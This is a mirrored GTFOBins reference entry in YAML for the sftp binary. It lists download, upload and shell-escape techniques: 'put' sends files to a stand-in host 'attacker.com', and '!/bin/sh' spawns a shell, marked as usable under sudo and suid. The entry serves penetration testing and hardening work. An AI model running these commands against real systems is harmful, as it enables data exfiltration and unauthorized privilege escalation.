mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
33 lines
617 B
Plaintext
33 lines
617 B
Plaintext
---
|
|
functions:
|
|
download:
|
|
- code: |-
|
|
sftp user@attacker.com
|
|
get /path/to/input-file /path/to/output-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
sender: ssh-server
|
|
shell:
|
|
- code: |-
|
|
sftp user@attacker.com
|
|
!/bin/sh
|
|
comment: |-
|
|
This still requires a successfull connection to the server.
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
upload:
|
|
- code: |-
|
|
sftp user@attacker.com
|
|
put /path/to/input-file /path/to/output-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
receiver: ssh-server
|
|
...
|